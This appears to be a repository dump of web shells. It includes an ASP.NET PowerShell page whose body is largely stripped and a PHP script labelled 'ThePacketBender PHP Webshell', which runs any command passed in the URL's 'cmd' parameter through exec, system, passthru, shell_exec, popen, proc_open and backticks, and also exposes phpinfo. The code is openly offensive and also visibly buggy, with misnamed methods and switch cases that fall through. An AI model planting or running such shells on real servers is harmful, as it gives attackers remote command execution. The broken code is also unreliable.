├── POWERshell.aspx
├── RCEfinder.php
├── README.md
└── rfi2lfi.php
/POWERshell.aspx:
--------------------------------------------------------------------------------
1 | <%@ Page Language="C#" %>
2 | <%@ Import Namespace="System.Collections.ObjectModel"%>
3 | <%@ Import Namespace="System.Management.Automation"%>
4 | <%@ Import Namespace="System.Management.Automation.Runspaces"%>
5 | <%@ Assembly Name="System.Management.Automation,Version=1.0.0.0,Culture=neutral,PublicKeyToken=31BF3856AD364E35"%>
6 |
7 |
8 |
9 |
47 |
48 |
49 |
50 | POWER!shelled
51 |
52 |
53 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/RCEfinder.php:
--------------------------------------------------------------------------------
1 | ';
4 | echo '';
5 | echo '';
6 | echo '';
7 |
8 | //heading
9 | echo '';
10 | echo '
ThePacketBender PHP Webshell
';
11 | echo '
testing php command execution
';
12 | echo '
'. php_uname();
13 | echo '
19 |
47 |
';
48 |
49 | echo $iget;
50 | ugot($optvals);
51 | echo $igot;
52 |
53 |
54 | //print status
55 | foreach ($pro as $x) {
56 | $x.dispProc();
57 | }
58 |
59 |
60 | //classes for custom rce stdio
61 | class Process{
62 | private $pid;
63 | private $cmd;
64 |
65 | //execute command to ignore signals
66 | private function runCmd(){
67 | if (substr(php_uname(), 0, 7) == "Windows"){
68 | $cmd = 'START /B /min '.$this->cmd;
69 | }
70 | else{
71 | $cmd = 'nohup '.$this->cmd.' 2>/dev/null 2>&1 & echo $!';
72 | //exec($cmd, $output, $rl);
73 | $this->pid = (int)$op[0];
74 | }
75 | }
76 | //set process ID
77 | public function sPid($pid){
78 | $this->pid = $pid;
79 | }
80 | //get process ID
81 | public function gPid(){
82 | return $this->pid;
83 | }
84 | //check status if command execution is non-blind
85 | public function ps(){
86 | //define command command for given OS
87 | if (substr(php_uname(), 0, 7) == "Windows"){
88 | $this->cmd = 'tasklist | FINDSTR '.$this->pid;
89 | }
90 | else {
91 | $this->cmd = 'ps -aux | grep '.$this->pid;
92 | }
93 | //exec($command,$op);
94 | if (!isset($op[1]))return false;
95 | else return true;
96 | }
97 | public function start(){
98 | if ($this->cmd . $this->cmd != ''){
99 | $this->runCom();
100 | }
101 | else{
102 | return true;
103 | }
104 | }
105 | public function stop(){
106 | gPid();
107 | $this->cmd = 'kill '. $this->pid;
108 | //exec($command,$op);
109 | if ($this->status() == false){
110 | return true;
111 | }
112 | else {
113 | return false;
114 | }
115 | }
116 | public function dispProc(){
117 | echo $this->pid .' '. $this->cmd .'';
118 | }
119 | }
120 |
121 |
122 | //functions for custom rce stdio
123 | function execBackground($cmd) {
124 | if (substr(php_uname(), 0, 7) == "Windows"){
125 | pclose(popen("start /B ". $cmd, "r"));
126 | }
127 | else {
128 | exec($cmd . " > /dev/null &");
129 | }
130 | }
131 | $i = 0;
132 | $pro = array();
133 | function proc($cmd) {
134 | $i++;
135 | $i = new Process();
136 | $i->cmd = $cmd;
137 | $i.start();
138 | $pro[] = &$i;
139 |
140 | return $cmd;
141 | }
142 |
143 | //standard output
144 | function stdout($cmd) {
145 | //check for value
146 | if ($_GET["cmd"] != NULL){
147 | $cmd = $_GET["cmd"];
148 | }
149 | //instantiate as Process if true
150 | if ($_GET["isProcess"] == True){
151 | //DO WORK HERE
152 | //THIS IS WHERE class object returns code for jobbing
153 | //e.g. cmd = ProcessName->cmd . $_GET($cmd);
154 | $prefix = proc($cmd);
155 | $prefix .= $cmd;
156 | $cmd = prefix;
157 | }
158 | echo '
';
159 | switch ($_GET["function"]) {
160 | case backticks:
161 | echo `$cmd`;
162 | case exe:
163 | exec($cmd,$output,$rv);
164 | print "return value " . $rv;
165 | print "----------------------";
166 | print "--------output--------";
167 | print "----------------------";
168 | echo '
';
169 | print $output;
170 | //made redundant?
171 | case exebg:
172 | execBackground($cmd);
173 | case pcntlexe:
174 | $args = preg_split('/ /', $_GET[cmd], 1, PREG_SPLIT_OFFSET_CAPTURE);
175 | echo pcntl_exec($cmd[0],$args);
176 | case popn:
177 | $rets = popen($cmd, 'r');
178 | $read = fread($rets, 4096);
179 | echo $read;
180 | case procopen:
181 | $descriptor = array(
182 | 0 => array("pipe", "r"), //stdin
183 | 1 => array("pipe", "w"), //stdout
184 | 2 => array("file", "/dev/null", "a") //stderr
185 | );
186 | echo proc_open($cmd, $descriptor);
187 | case pthru:
188 | $rets = "";
189 | passthru($cmd, $rets);
190 | print $rets;
191 | case sexec:
192 | echo shell_exec($_GET["cmd"]);
193 | case sys:
194 | $rets = "";
195 | system($cmd, $rets);
196 | print $rets;
197 | default:
198 |
199 |
200 | }
201 | echo '
';
202 | }
203 | print(stdout());
204 | echo '
';
205 | if ($_GET[$pinfo]=pinfo) {
206 | echo phpinfo();
207 | }
208 | echo '';
209 | echo '